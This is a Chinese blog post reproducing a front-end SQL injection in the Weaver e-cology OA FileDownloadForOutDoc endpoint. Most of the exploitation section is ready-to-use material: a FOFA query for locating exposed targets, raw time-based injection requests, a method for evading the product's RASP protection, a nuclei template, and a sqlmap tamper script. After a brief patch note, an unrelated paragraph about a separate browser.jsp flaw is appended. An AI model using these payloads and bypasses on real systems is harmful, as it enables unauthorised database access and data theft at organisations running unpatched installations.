泛微OA e-cology FileDownloadForOutDoc前台SQL注入漏洞

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
更多复现文章可关注:网安小白成长日记

壹、漏洞描述

泛微协同管理应用平台(e-cology)是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。

泛微e-cology FileDownloadForOutDoc 未对用户的输入进行有效的过滤,直接将其拼接进了SQL查询语句中,导致系统出现SQL注入漏洞。

影响范围:

部分e-cology 8且补丁版本<10.58.0
部分e-cology 9且补丁版本<10.58.0

贰、漏洞利用

01漏洞点

/weaver/weaver.file.FileDownloadForOutDoc

02利用方式

1、FOFA搜索

app="泛微-协同办公OA"

2、POC

POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

fileid=3+WAITFOR+DELAY+'0:0:5'&isFromOutImg=1

3、注意事项

由于泛微OA启用了RASP,同一个请求执行两次会被拦截,所以需要在请求包中添加随机参数。

RASP是Runtime Application Self-Protection(运行时应用自我保护)的缩写,是一种用于保护应用程序免受攻击的安全技术。它是在应用程序运行时进行安全检测和保护的一种方法,可以在应用程序本身内部或与应用程序紧密集成的组件中实现。

POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

fileid={random}+WAITFOR+DELAY+'0:0:5'&isFromOutImg=1

4、nuclei模板

id: ecology-oa-filedownloadforoutdoc-sqli

info:
  name: EcologyOA filedownloadforoutdoc - SQL injection
  author: unknown
  severity: critical
  description: EcologyOA filedownloadforoutdoc interface has SQL injection
  tags: ecology-oa,sqli

requests:
  - raw:
      - |
        POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close

        fileid=3+WAITFOR DELAY+'0:0:8'&isFromOutImg=1
    matchers:
      - type: dsl
        dsl:
          - 'duration>=8'

5、tamper脚本进行注入

import random
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGH


def tamper(payload, **kwargs):
  res = ""
  ran = random.randint(1,2**20)
  res = str(ran)+payload
  return res

叁、漏洞修复

目前官方已发布安全补丁,建议受影响用户尽快将补丁版本升级至10.58及以上。

https://www.weaver.com.cn/cs/securityDownload.asp#
泛微OA E-Cology V9是一款常用的企业办公自动化系统,该系统的browser.jsp页面存在SQL注入漏洞SQL注入是一种常见的网络攻击技术,攻击者可以通过构造恶意的SQL语句来绕过系统的认证和授权机制,进而获取敏感数据或者对系统进行非法操作。 泛微OA E-Cology V9中的browser.jsp页面是用于显示OA系统中的个人文件夹和公共文件夹。攻击者可以在该页面中输入恶意的SQL语句,通过执行这些恶意SQL语句,攻击者可以获取到不应该被访问的数据,比如其他用户的文件,甚至可以对数据库进行修改和损坏。 为了防止SQL注入漏洞的利用,可以采取以下措施: 1. 输入过滤和验证:在服务器端对用户输入的数据进行过滤和验证,去除或转义可能包含恶意SQL代码的字符,确保只接受合法的输入。 2. 使用参数化查询:尽量使用参数化查询代替拼接SQL语句的方式,参数化查询可以预编译SQL语句,避免在拼接时引入恶意代码。 3. 限制数据库用户的权限:对数据库用户进行权限控制,确保每个用户只拥有最小必要的权限,减少攻击者利用SQL注入漏洞进行非法操作的机会。 4. 及时更新和修补漏洞:及时跟进厂商的安全通告并安装最新的补丁程序,确保系统始终处于最新的安全状态。 综上所述,泛微OA E-Cology V9中的browser.jsp页面存在SQL注入漏洞,但通过合理的安全措施和注意事项,我们可以有效地减少该漏洞被利用的风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值